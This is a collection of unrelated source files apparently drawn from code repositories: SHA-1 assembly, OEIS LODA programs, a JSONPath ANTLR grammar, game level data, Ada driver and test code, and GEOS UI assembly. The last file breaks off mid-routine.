eventually (some x,y : File | x->y in link implies x in Trash and y in Trash)
}
pred __repair { id7xQBdrNTWtqoKZP5t_prop8 }
check __repair { id7xQBdrNTWtqoKZP5t_prop8 <=> prop8o } |
cryptoTools/Crypto/asm/sha_win64.asm | namasikanam/MultipartyPSI | 44 | 10112 | <filename>cryptoTools/Crypto/asm/sha_win64.asm
;---------------------
;
; This code implements two interfaces of SHA-1 update function: 1) working on a single
; 64-byte block and 2) working on a buffer of multiple 64-bit blocks. Multiple blocks
; version of code is software pipelined and faster overall, it is a default. Assemble
; with -DINTEL_SHA1_SINGLEBLOCK to select single 64-byte block function interface.
;
; C++ prototypes of implemented functions are below:
;
; #ifndef INTEL_SHA1_SINGLEBLOCK
; // Updates 20-byte SHA-1 record in 'hash' for 'num_blocks' consequtive 64-byte blocks
; extern "C" void sha1_update_intel(int *hash, const char* input, size_t num_blocks );
; #else
; // Updates 20-byte SHA-1 record in 'hash' for one 64-byte block pointed by 'input'
; extern "C" void sha1_update_intel(int *hash, const char* input);
; #endif
;
; Function name 'sha1_update_intel' can be changed in the source or via macro:
; -DINTEL_SHA1_UPDATE_FUNCNAME=my_sha1_update_func_name
;
; It implements both UNIX(default) and Windows ABIs, use -DWIN_ABI on Windows
;
; Code checks CPU for SSSE3 support via CPUID feature flag (CPUID.1.ECX.SSSE3[bit 9]==1),
; and performs dispatch. Since in most cases the functionality on non-SSSE3 supporting CPUs
; is also required, the default (e.g. one being replaced) function can be provided for
; dispatch on such CPUs, the name of old function can be changed in the source or via macro:
; -DINTEL_SHA1_UPDATE_DEFAULT_DISPATCH=default_sha1_update_function_name
;
; Authors: <NAME> and <NAME> at Intel.com
;
%ifndef INTEL_SHA1_UPDATE_DEFAULT_DISPATCH
;; can be replaced with a default SHA-1 update function name
%define INTEL_SHA1_UPDATE_DEFAULT_DISPATCH sha1_intel_non_ssse3_cpu_stub_
%else
extern INTEL_SHA1_UPDATE_DEFAULT_DISPATCH
%endif
;; provide alternative SHA-1 update function's name here
%ifndef INTEL_SHA1_UPDATE_FUNCNAME
%define INTEL_SHA1_UPDATE_FUNCNAME sha1_update_intel
%endif
global INTEL_SHA1_UPDATE_FUNCNAME
%define INTEL_SHA1_SINGLEBLOCK
%ifndef INTEL_SHA1_SINGLEBLOCK
%assign multiblock 1
%else
%assign multiblock 0
%endif
bits 64
default rel
%ifdef WIN_ABI
%xdefine arg1 rcx
%xdefine arg2 rdx
%xdefine arg3 r8
%else
%xdefine arg1 rdi
%xdefine arg2 rsi
%xdefine arg3 rdx
%endif
%xdefine ctx arg1
%xdefine buf arg2
%xdefine cnt arg3
%macro REGALLOC 0
%xdefine A ecx
%xdefine B esi
%xdefine C edi
%xdefine D ebp
%xdefine E edx
%xdefine T1 eax
%xdefine T2 ebx
%endmacro
%xdefine K_BASE r8
%xdefine HASH_PTR r9
%xdefine BUFFER_PTR r10
%xdefine BUFFER_END r11
%xdefine W_TMP xmm0
%xdefine W_TMP2 xmm9
%xdefine W0 xmm1
%xdefine W4 xmm2
%xdefine W8 xmm3
%xdefine W12 xmm4
%xdefine W16 xmm5
%xdefine W20 xmm6
%xdefine W24 xmm7
%xdefine W28 xmm8
%xdefine XMM_SHUFB_BSWAP xmm10
;; we keep window of 64 w[i]+K pre-calculated values in a circular buffer
%xdefine WK(t) (rsp + (t & 15)*4)
;------------------------------------------------------------------------------
;
; macro implements SHA-1 function's body for single or several 64-byte blocks
; first param: function's name
; second param: =0 - function implements single 64-byte block hash
; =1 - function implements multiple64-byte blocks hash
; 3rd function's argument is a number, greater 0, of 64-byte blocks to calc hash for
;
%macro SHA1_VECTOR_ASM 2
align 4096
%1:
push rbx
push rbp
%ifdef WIN_ABI
push rdi
push rsi
%xdefine stack_size (16*4 + 16*5 + 8)
%else
%xdefine stack_size (16*4 + 8)
%endif
sub rsp, stack_size
%ifdef WIN_ABI
%xdefine xmm_save_base (rsp + 16*4)
xmm_mov [xmm_save_base + 0*16], xmm6
xmm_mov [xmm_save_base + 1*16], xmm7
xmm_mov [xmm_save_base + 2*16], xmm8
xmm_mov [xmm_save_base + 3*16], xmm9
xmm_mov [xmm_save_base + 4*16], xmm10
%endif
mov HASH_PTR, ctx
mov BUFFER_PTR, buf
%if (%2 == 1)
shl cnt, 6 ;; mul by 64
add cnt, buf
mov BUFFER_END, cnt
%endif
lea K_BASE, [K_XMM_AR]
xmm_mov XMM_SHUFB_BSWAP, [bswap_shufb_ctl]
SHA1_PIPELINED_MAIN_BODY %2
%ifdef WIN_ABI
xmm_mov xmm6, [xmm_save_base + 0*16]
xmm_mov xmm7, [xmm_save_base + 1*16]
xmm_mov xmm8, [xmm_save_base + 2*16]
xmm_mov xmm9, [xmm_save_base + 3*16]
xmm_mov xmm10,[xmm_save_base + 4*16]
%endif
add rsp, stack_size
%ifdef WIN_ABI
pop rsi
pop rdi
%endif
pop rbp
pop rbx
ret
%endmacro
;--------------------------------------------
; macro implements 80 rounds of SHA-1, for one 64-byte block or multiple blocks with s/w pipelining
; macro param: =0 - process single 64-byte block
; =1 - multiple blocks
;
%macro SHA1_PIPELINED_MAIN_BODY 1
REGALLOC
mov A, [HASH_PTR ]
mov B, [HASH_PTR+ 4]
mov C, [HASH_PTR+ 8]
mov D, [HASH_PTR+12]
mov E, [HASH_PTR+16]
%assign i 0
%rep W_PRECALC_AHEAD
W_PRECALC i
%assign i i+1
%endrep
%xdefine F F1
%if (%1 == 1) ;; code loops through more than one block
%%_loop:
cmp BUFFER_PTR, K_BASE ;; we use K_BASE value as a signal of a last block,
jne %%_begin ;; it is set below by: cmovae BUFFER_PTR, K_BASE
jmp %%_end
align 32
%%_begin:
%endif
RR A,B,C,D,E,0
RR D,E,A,B,C,2
RR B,C,D,E,A,4
RR E,A,B,C,D,6
RR C,D,E,A,B,8
RR A,B,C,D,E,10
RR D,E,A,B,C,12
RR B,C,D,E,A,14
RR E,A,B,C,D,16
RR C,D,E,A,B,18
%xdefine F F2
RR A,B,C,D,E,20
RR D,E,A,B,C,22
RR B,C,D,E,A,24
RR E,A,B,C,D,26
RR C,D,E,A,B,28
RR A,B,C,D,E,30
RR D,E,A,B,C,32
RR B,C,D,E,A,34
RR E,A,B,C,D,36
RR C,D,E,A,B,38
%xdefine F F3
RR A,B,C,D,E,40
RR D,E,A,B,C,42
RR B,C,D,E,A,44
RR E,A,B,C,D,46
RR C,D,E,A,B,48
RR A,B,C,D,E,50
RR D,E,A,B,C,52
RR B,C,D,E,A,54
RR E,A,B,C,D,56
RR C,D,E,A,B,58
%xdefine F F4
%if (%1 == 1) ;; if code loops through more than one block
add BUFFER_PTR, 64 ;; move to next 64-byte block
cmp BUFFER_PTR, BUFFER_END ;; check if current block is the last one
cmovae BUFFER_PTR, K_BASE ;; smart way to signal the last iteration
%else
%xdefine W_NO_TAIL_PRECALC 1 ;; no software pipelining for single block interface
%endif
RR A,B,C,D,E,60
RR D,E,A,B,C,62
RR B,C,D,E,A,64
RR E,A,B,C,D,66
RR C,D,E,A,B,68
RR A,B,C,D,E,70
RR D,E,A,B,C,72
RR B,C,D,E,A,74
RR E,A,B,C,D,76
RR C,D,E,A,B,78
UPDATE_HASH [HASH_PTR ],A
UPDATE_HASH [HASH_PTR+ 4],B
UPDATE_HASH [HASH_PTR+ 8],C
UPDATE_HASH [HASH_PTR+12],D
UPDATE_HASH [HASH_PTR+16],E
%if (%1 == 1)
jmp %%_loop
align 32
%%_end:
%endif
%xdefine W_NO_TAIL_PRECALC 0
%xdefine F %error
%endmacro
%macro F1 3
mov T1,%2
xor T1,%3
and T1,%1
xor T1,%3
%endmacro
%macro F2 3
mov T1,%3
xor T1,%2
xor T1,%1
%endmacro
%macro F3 3
mov T1,%2
mov T2,%1
or T1,%1
and T2,%2
and T1,%3
or T1,T2
%endmacro
%define F4 F2
%macro UPDATE_HASH 2
add %2, %1
mov %1, %2
%endmacro
%macro W_PRECALC 1
%xdefine i (%1)
%if (i < 20)
%xdefine K_XMM 0
%elif (i < 40)
%xdefine K_XMM 16
%elif (i < 60)
%xdefine K_XMM 32
%else
%xdefine K_XMM 48
%endif
%if (i<16 || (i>=80 && i<(80 + W_PRECALC_AHEAD)))
%if (W_NO_TAIL_PRECALC == 0)
%xdefine i ((%1) % 80) ;; pre-compute for the next iteration
%if (i == 0)
W_PRECALC_RESET
%endif
W_PRECALC_00_15
%endif
%elif (i < 32)
W_PRECALC_16_31
%elif (i < 80) ;; rounds 32-79
W_PRECALC_32_79
%endif
%endmacro
%macro W_PRECALC_RESET 0
%xdefine W W0
%xdefine W_minus_04 W4
%xdefine W_minus_08 W8
%xdefine W_minus_12 W12
%xdefine W_minus_16 W16
%xdefine W_minus_20 W20
%xdefine W_minus_24 W24
%xdefine W_minus_28 W28
%xdefine W_minus_32 W
%endmacro
%macro W_PRECALC_ROTATE 0
%xdefine W_minus_32 W_minus_28
%xdefine W_minus_28 W_minus_24
%xdefine W_minus_24 W_minus_20
%xdefine W_minus_20 W_minus_16
%xdefine W_minus_16 W_minus_12
%xdefine W_minus_12 W_minus_08
%xdefine W_minus_08 W_minus_04
%xdefine W_minus_04 W
%xdefine W W_minus_32
%endmacro
%xdefine W_PRECALC_AHEAD 16
%xdefine W_NO_TAIL_PRECALC 0
%xdefine xmm_mov movdqa
%macro W_PRECALC_00_15 0
;; message scheduling pre-compute for rounds 0-15
%if ((i & 3) == 0) ;; blended SSE and ALU instruction scheduling, 1 vector iteration per 4 rounds
movdqu W_TMP, [BUFFER_PTR + (i * 4)]
%elif ((i & 3) == 1)
pshufb W_TMP, XMM_SHUFB_BSWAP
movdqa W, W_TMP
%elif ((i & 3) == 2)
paddd W_TMP, [K_BASE]
%elif ((i & 3) == 3)
movdqa [WK(i&~3)], W_TMP
W_PRECALC_ROTATE
%endif
%endmacro
%macro W_PRECALC_16_31 0
;; message scheduling pre-compute for rounds 16-31
;; calculating last 32 w[i] values in 8 XMM registers
;; pre-calculate K+w[i] values and store to mem, for later load by ALU add instruction
;;
;; "brute force" vectorization for rounds 16-31 only due to w[i]->w[i-3] dependency
;;
%if ((i & 3) == 0) ;; blended SSE and ALU instruction scheduling, 1 vector iteration per 4 rounds
movdqa W, W_minus_12
palignr W, W_minus_16, 8 ;; w[i-14]
movdqa W_TMP, W_minus_04
psrldq W_TMP, 4 ;; w[i-3]
pxor W, W_minus_08
%elif ((i & 3) == 1)
pxor W_TMP, W_minus_16
pxor W, W_TMP
movdqa W_TMP2, W
movdqa W_TMP, W
pslldq W_TMP2, 12
%elif ((i & 3) == 2)
psrld W, 31
pslld W_TMP, 1
por W_TMP, W
movdqa W, W_TMP2
psrld W_TMP2, 30
pslld W, 2
%elif ((i & 3) == 3)
pxor W_TMP, W
pxor W_TMP, W_TMP2
movdqa W, W_TMP
paddd W_TMP, [K_BASE + K_XMM]
movdqa [WK(i&~3)],W_TMP
W_PRECALC_ROTATE
%endif
%endmacro
%macro W_PRECALC_32_79 0
;; in SHA-1 specification: w[i] = (w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16]) rol 1
;; instead we do equal: w[i] = (w[i-6] ^ w[i-16] ^ w[i-28] ^ w[i-32]) rol 2
;; allows more efficient vectorization since w[i]=>w[i-3] dependency is broken
;;
%if ((i & 3) == 0) ;; blended SSE and ALU instruction scheduling, 1 vector iteration per 4 rounds
movdqa W_TMP, W_minus_04
pxor W, W_minus_28 ;; W is W_minus_32 before xor
palignr W_TMP, W_minus_08, 8
%elif ((i & 3) == 1)
pxor W, W_minus_16
pxor W, W_TMP
movdqa W_TMP, W
%elif ((i & 3) == 2)
psrld W, 30
pslld W_TMP, 2
por W_TMP, W
%elif ((i & 3) == 3)
movdqa W, W_TMP
paddd W_TMP, [K_BASE + K_XMM]
movdqa [WK(i&~3)],W_TMP
W_PRECALC_ROTATE
%endif
%endmacro
%macro RR 6 ;; RR does two rounds of SHA-1 back to back with W pre-calculation
;; TEMP = A
;; A = F( i, B, C, D ) + E + ROTATE_LEFT( A, 5 ) + W[i] + K(i)
;; C = ROTATE_LEFT( B, 30 )
;; D = C
;; E = D
;; B = TEMP
W_PRECALC (%6 + W_PRECALC_AHEAD)
F %2, %3, %4 ;; F returns result in T1
add %5, [WK(%6)]
rol %2, 30
mov T2, %1
add %4, [WK(%6 + 1)]
rol T2, 5
add %5, T1
W_PRECALC (%6 + W_PRECALC_AHEAD + 1)
add T2, %5
mov %5, T2
rol T2, 5
add %4, T2
F %1, %2, %3 ;; F returns result in T1
add %4, T1
rol %1, 30
;; write: %1, %2
;; rotate: %1<=%4, %2<=%5, %3<=%1, %4<=%2, %5<=%3
%endmacro
;;----------------------
section .data align=64
%xdefine K1 0x5a827999
%xdefine K2 0x6ed9eba1
%xdefine K3 0x8f1bbcdc
%xdefine K4 0xca62c1d6
align 128
K_XMM_AR:
DD K1, K1, K1, K1
DD K2, K2, K2, K2
DD K3, K3, K3, K3
DD K4, K4, K4, K4
align 16
bswap_shufb_ctl:
DD 00010203h
DD 04050607h
DD 08090a0bh
DD 0c0d0e0fh
;; dispatch pointer, points to the init routine for the first invocation
sha1_update_intel_dispatched:
DQ sha1_update_intel_init_
;;----------------------
section .text align=64
SHA1_VECTOR_ASM sha1_update_intel_ssse3_, multiblock
align 32
sha1_update_intel_init_: ;; we get here with the first time invocation
call sha1_update_intel_dispacth_init_
INTEL_SHA1_UPDATE_FUNCNAME: ;; we get here after init
jmp qword [sha1_update_intel_dispatched]
;; CPUID feature flag based dispatch
sha1_update_intel_dispacth_init_:
push rax
push rbx
push rcx
push rdx
push rsi
lea rsi, [INTEL_SHA1_UPDATE_DEFAULT_DISPATCH]
mov eax, 1
cpuid
test ecx, 0200h ;; SSSE3 support, CPUID.1.ECX[bit 9]
jz _done
lea rsi, [sha1_update_intel_ssse3_]
_done:
mov [sha1_update_intel_dispatched], rsi
pop rsi
pop rdx
pop rcx
pop rbx
pop rax
ret
;;----------------------
;; in the case a default SHA-1 update function implementation was not provided
;; and code was invoked on a non-SSSE3 supporting CPU, dispatch handles this
;; failure in a safest way - jumps to the stub function with UD2 instruction below
sha1_intel_non_ssse3_cpu_stub_:
ud2 ;; in the case no default SHA-1 was provided non-SSSE3 CPUs safely fail here
ret
; END
;----------------------
|
programs/oeis/165/A165478.asm | karttu/loda | 0 | 15819 | <reponame>karttu/loda
; A165478: Positions of zeros in A165477.
; 0,131070,131071,262141,262142,393212,393213,524283,524284,655354,655355,786425,786426,917496,917497,1048567,1048568,1179638,1179639,1310709,1310710,1441780,1441781,1572851,1572852,1703922,1703923
mov $2,$0
sub $4,$0
mul $0,2
div $0,4
mov $1,$0
mov $0,5
mov $3,$1
mov $1,131067
add $3,1
add $4,$3
mul $4,131069
sub $1,$4
lpb $0,1
add $1,5
div $0,$1
sub $0,1
lpe
sub $1,3
add $1,$2
|
oeis/022/A022529.asm | neoneye/loda-programs | 11 | 164371 | <reponame>neoneye/loda-programs
; A022529: Nexus numbers (n+1)^13-n^13.
; Submitted by <NAME>
; 1,8191,1586131,65514541,1153594261,11839990891,83828316391,452866803481,1992110014441,7458134171671,24522712143931,72470493235141,195881901213181,490839666661891,1152480295105231,2557404559011121,5400978405535441,10918386832765231,21230018596585891,39867016537742941,72552377739119461,128337680143963291,221226304053384631,372451976528890441,613627780919407801,991036753818970951,1571402279815239691,2449556269478971381,3758517290460654541,5682601287041397811,8474316297445042591
sub $1,$0
add $0,1
pow $0,13
mov $2,$1
pow $2,13
add $0,$2
|
Jsonpath.g4 | gobs/jsonpath | 1 | 4178 | grammar Jsonpath;
//
// Derived from https://github.com/stevenalexander/antlr4-jsonpath-grammar
//
jsonpath: '$' path EOF
;
path : nodeExpr+
;
nodeExpr : dotExpr
| selectExpr
;
dotExpr : DOTS
| DOTS (Identifier | STAR | Length )
;
selectExpr : '[' (starExpr | rangeExpr | itemsExpr | namesExpr | filterExpr | scriptExpr)? ']'
;
rangeExpr : (startIndex=INT)? ':' (endIndex=INT (':' step=INT)?)?
;
itemsExpr : INT (',' INT)*
;
namesExpr: QUOTED (',' QUOTED)*
;
starExpr : STAR
;
filterExpr : FilterTrue queryExpr ')'
| FilterFalse queryExpr ')'
;
scriptExpr : '(' valueExpr ')'
;
queryExpr : '@.' exists=Identifier
| '@.' name=Identifier op=COMP value=(INT | NUMBER | QUOTED | 'true' | 'false' | 'null')
| '@.' name=Identifier op='=~' value=REGEX
;
valueExpr : '@.' name=Identifier op=OP value=(INT | NUMBER )
| '@.' name=Length op=OP value=(INT | NUMBER )
;
OP : '+' | '-' | '/' | '*'
;
COMP : '>' | '>=' | '<' | '<=' | '==' | '!='
;
Identifier : [a-zA-Z_][a-zA-Z0-9_]*
;
Length : 'length()'
;
INT : '-'? ('0'..'9')+
;
NUMBER : INT ('.' ('0'..'9')+)?
;
QUOTED : '\'' (~'\'')* '\''
;
REGEX : '/' (~'/')* '/' ('i'|'u'|'m'|'S')*
;
DOTS : '.'
| '..'
;
STAR : '*'
;
FilterTrue : '?('
;
FilterFalse : '!('
;
WS : [ \t\n\r]+ -> skip
;
|
PRG/levels/Sky/W307Coin.asm | narfman0/smb3_pp1 | 0 | 174655 | ; Original address was $AB4F
; Unused coin heaven with treasure box
.word W307L ; Alternate level layout
.word W307O ; Alternate object layout
.byte LEVEL1_SIZE_03 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_01 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(13) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_SKY | LEVEL5_TIME_300
.byte $6E, $00, $4C, $2F, $79, $00, $21, $2F, $0E, $00, $07, $13, $06, $06, $36, $0C
.byte $87, $38, $0C, $87, $0E, $12, $07, $34, $19, $83, $36, $16, $89, $38, $16, $89
.byte $0F, $26, $07, $10, $2B, $07, $36, $21, $87, $38, $21, $87, $17, $2A, $F4, $FF
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/floating_point_definition.ads | ouankou/rose | 488 | 14098 | package Floating_Point_Definition is
type Floating_Type_1 is digits 6;
type Floating_Type_2 is digits 6 range 0.0 .. 1.0;
end Floating_Point_Definition;
|
arch/ARM/cortex_m/src/cm0/cortex_m_svd-dwt.ads | rocher/Ada_Drivers_Library | 192 | 22153 | <reponame>rocher/Ada_Drivers_Library
-- This spec has been automatically generated from cm0.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
-- Data Watchpoint Trace
package Cortex_M_SVD.DWT is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype CTRL_Reserved_0_27_Field is HAL.UInt28;
subtype CTRL_NUMCOMP_Field is HAL.UInt4;
-- Control Register
type CTRL_Register is record
-- Read-only. Reserved bits 0..27
Reserved_0_27 : CTRL_Reserved_0_27_Field := 16#0#;
-- Number of comparators available
NUMCOMP : CTRL_NUMCOMP_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CTRL_Register use record
Reserved_0_27 at 0 range 0 .. 27;
NUMCOMP at 0 range 28 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Data Watchpoint Trace
type DWT_Peripheral is record
-- Control Register
CTRL : aliased CTRL_Register;
-- Program Counter Sample Register
PCSR : aliased HAL.UInt32;
-- Comparator Register 0
COMP0 : aliased HAL.UInt32;
-- Mask Register 0
MASK0 : aliased HAL.UInt32;
-- Function Register 0
FUNCTION0 : aliased HAL.UInt32;
end record
with Volatile;
for DWT_Peripheral use record
CTRL at 16#0# range 0 .. 31;
PCSR at 16#1C# range 0 .. 31;
COMP0 at 16#20# range 0 .. 31;
MASK0 at 16#24# range 0 .. 31;
FUNCTION0 at 16#28# range 0 .. 31;
end record;
-- Data Watchpoint Trace
DWT_Periph : aliased DWT_Peripheral
with Import, Address => DWT_Base;
end Cortex_M_SVD.DWT;
|
stack.asm | traidna/MUMPS-TI99-4A | 0 | 83033 | <reponame>traidna/MUMPS-TI99-4A<gh_stars>0
push: ; add item to top of stack
; sp - stack pointer set up in am.asm in Base ram
; r0 - word to push
; put r2 back to r0
mov @SP,r1
mov @RS,*r1 ; move the value passed to top of stack
inct r1 ; add two to r0
mov r1,@SP ; put new top of stack to SP
b *r11 ; return to caller
pop ; remove top item from stack place in r0
mov @SP,r1 ; get address of next item on stack
dec r1 ; move it down to top value
dec r1
mov *r1,@RS ; read top value
mov r1,@SP ; store new tos
b *r11 ; return to calling program
|
bb-runtimes/tests/bsp_verification/src/basic_tasking.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 2989 | ------------------------------------------------------------------------------
-- --
-- GNAT BSP Test --
-- --
-- Copyright (C) 2018, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Synchronous_Task_Control; use Ada.Synchronous_Task_Control;
with Report;
package body Basic_Tasking is
Signal : Suspension_Object;
task Consumer;
protected Persistent_Signal is
entry Wait;
procedure Send;
private
Signal_Arrived : Boolean := False;
end Persistent_Signal;
--------------
-- Consumer --
--------------
task body Consumer is
begin
loop
Suspend_Until_True (Signal);
Persistent_Signal.Send;
end loop;
end Consumer;
-----------------------
-- Persistent_Signal --
-----------------------
protected body Persistent_Signal is
procedure Send is
begin
Signal_Arrived := True;
end Send;
entry Wait when Signal_Arrived is
begin
Signal_Arrived := False;
end Wait;
end Persistent_Signal;
----------
-- Test --
----------
procedure Test is
begin
Report.Test ("basic_tasking",
"Check the functionality of various constructs");
Set_True (Signal);
Persistent_Signal.Wait;
Report.Passed ("Suspension object successfully signalled");
Report.Passed ("Protected procedure successfully called");
Report.Passed ("Protected action completed successfully");
Report.Passed ("Protected entry successfully awaited and returned");
end Test;
end Basic_Tasking;
|
Library/SpecUI/CommonUI/CItem/citemItemBW.asm | steakknife/pcgeos | 504 | 83277 | <reponame>steakknife/pcgeos
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1994-1994. All rights reserved.
GEOWORKS CONFIDENTIAL
PROJECT: PC
MODULE: CommonUI/CItem (common code for specific UIs)
FILE: citemItemBW.asm
ROUTINES:
Name Description
---- -----------
INT ItemDrawBWItem Draw an OLItemClass object on a black &
white display.
INT OLItemInsetIfCenteredBoolean
Insets moniker if a center-by-monikers
boolean.
INT OLItemDrawYesNoIfBoolean
Draws "Yes" or "No" if we're a boolean.
INT ItemDrawBWItemHighlight Either draws or clears the inner
highlighting rectangle.
INT ItemDrawBWItemHighlight Either draws or clears the inner
highlighting rectangle.
INT ItemDrawBWRadioButton Draws a radio button.
INT ItemDrawBWRadioButtonPartial
Draws a radio button item in part.
INT ItemDrawBWRadioButtonButton
Draw the actual button part.
INT ItemDrawBWRadioButtonBitmap
Draws a radio button bitmap.
INT ItemDrawBWNonExclusiveItem
Draws a non-exclusive item.
INT ItemDrawBWNonExclusiveItemPartial
Do a partial redraw of a nonexclusive item.
INT ItemDrawNonExclusiveCheckbox
Draw the checkbox & border for a
non-exclusive item.
INT ItemDrawBWNonExclHighlight
Draw the inside highlight for a
non-exclusive item.
INT ItemDrawBWCheckmarkInBox
draw the Checkmark for an OpenLook item.
INT ItemDrawBWCheckmarkInBox
draw the Checkmark for an OpenLook item.
INT ItemDrawBWInnerSquareMark
draw the inner square mark in a Motif
non-exclusive item
INT ItemDrawBWXMark draw the inner X mark in a non-exclusive
item.
INT ItemDrawBWXMark draw the inner X mark in a non-exclusive
item.
INT ItemDrawBWMotifItemBorderIfInMenu
Draws or erases border around a Motif item
(excl or non-excl) which is in a menu,
according to the BORDERED flag. (This flag
is set when the item is CURSORED.)
INT ItemBWForegroundColorIfDepressedIfInMenu
Returns the foreground color for an item if
it is in a menu based upon the depressed
bit.
INT ItemDrawBWItemDepressedIfInMenu
Draws/erases or XOR's inverted background
around item (both excl and non-excl) which
is in a menu, according to the DEPRESSED
flag.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 10/10/94 Broken out of citemItem.asm
DESCRIPTION:
$Id: citemItemBW.asm,v 1.3 98/05/04 06:56:47 joon Exp $
------------------------------------------------------------------------------@
DrawBW segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw an OLItemClass object on a black & white display.
CALLED BY: OLItemDraw
PASS: *ds:si - instance data
cl - color scheme (from GState)
ch - DrawFlags: DF_EXPOSED set if updating
di - GState to use
RETURN: *ds:si - same
DESTROYED: ax, bx, cx, dx, di, bp
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Eric 3/90 cleanup
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawBWItem proc far
class OLItemClass
call OLItemGetGenAndSpecState
;sets: bl = OLBI_moreAttrs
; bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; dl = GI_states
; dh = OLII_state
mov ax, C_WHITE ;set draw colors
call GrSetAreaColor
mov ax, C_BLACK
if USE_COLOR_FOR_DISABLED_GADGETS
call OLItemSetUseColorIfDisabled
endif
call GrSetTextColor
call GrSetLineColor
if _DISABLED_SCROLL_ITEMS_DRAWN_WITH_SDM_50
;set the draw masks to 50% if this object is disabled
mov al, SDM_50 ;Use a 50% mask
call OLItemSetMasksIfDisabled
endif
;if this is a MSG_META_EXPOSED event, then force a full redraw.
test ch, mask DF_EXPOSED
jnz fullRedraw ;skip if so...
test cl, mask OLBOF_DRAW_STATE_KNOWN
jz fullRedraw ;skip if have no old state info...
;this is not a MSG_META_EXPOSED event. So some status flag(s) in this
;item object have changed. Compare old vs. new state to see what
;has changed
clr ch ;default flag: is not FULL REDRAW
mov al, bh ;get OLBI_specState
xor al, cl ;compare to OLBI_optFlags
push di
mov di, ds:[si] ;point to instance
add di, ds:[di].Vis_offset
mov ah, ds:[di].VI_attrs ;get VI_attrs
xor ah, cl ;compare to OLBI_optFlags
test ah, mask VA_FULLY_ENABLED
pop di
jz drawCommon ;skip if same enabled status...
deltaEnabledStatus:
;the ENABLED status has changed. If that is all that changed,
;then just wash over this object with a 50% pattern, making it
;look as if we redrew it with 50% masks.
test al, OLBOF_STATE_FLAGS_MASK
jnz fullRedraw ;if any other flags changed,
;force a full redraw...
if _DISABLED_SCROLL_ITEMS_DRAWN_WITH_SDM_50
call CheckIfJustDisabled
jnc fullRedraw ;going enabled, branch to do it
push ax, cx
mov al, mask SDM_INVERSE or SDM_50 ;Use inverse of 50% mask
clr ch ; B/W
call OLItemWash50Percent
pop ax, cx
jmp done ;exit now. (bx, cx, dx trashed)
endif
fullRedraw:
;we must fully redraw this object, including the background
mov ch, TRUE
drawCommon:
;regs:
; al = flags which have changed
; bl = OLBI_moreAttrs
; cl = OLBI_optFlags
; ch = TRUE if is full redraw
; dh = OLII_state
;Yes, we could have plenty of optimizations here in the future, to
;handle transitions between specific states. But since we are running
;out of memory and not processor speed, punt!
test dh, mask OLIS_MONIKER_INVALID
LONG jnz done ;skip if invalid...
;if is an OLCheckboxClass object, call routine to handle.
CUAS < test dh, mask OLIS_DRAW_AS_TOOLBOX >
CUAS < jnz drawPlainItem ;skip if in toolbox... >
test dh, mask OLIS_IS_CHECKBOX
jz drawExclusiveItem ;skip if not...
GOTO ItemDrawBWNonExclusiveItem
drawExclusiveItem:
;this object is an exclusive item
CUAS < GOTO ItemDrawBWRadioButton ;draw a radio button >
drawPlainItem:
;This code is reached when:
; CUA: in toolbox (which might be in menu)
; Motif: B&W, in toolbox (which might be in menu)
; OpenLook: B&W, all cases: menu, toolbox, or regular.
;Check if the item is up or down. If down, draw the highlight.
;First update the highlight
; bl = OLBI_moreAttrs
; bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; dh = OLII_state
mov bp, bx ;bp (high) = OLBI_specState (low byte)
push ds, si, dx, cx ;Save instance ptr
call OpenGetLineBounds
if DRAW_ITEM_BORDERS
if ALLOW_TAB_ITEMS and BW_TAB_ITEMS
call OLItemDrawBWTabBorder ;Draw the BW tab frame
jnc noTab
pop ds, si, dx, cx
mov ax, C_BLACK
call GrSetTextColor
jmp tabDrawn
noTab:
endif
call GrDrawRect ;Draw the item frame
endif
call ItemDrawBWItemHighlight ;Draw/clear the highlight
pop ds, si, dx, cx ;Get instance ptr
;Set the area color to be used by monochrome bitmap monikers
; mov ax, C_BW_GREY ;Use 50% pattern if disabled
call OLItemSetAreaColorBlackIfEnabledOrInverting
if INVERT_ENTIRE_BW_ITEM_IMAGE
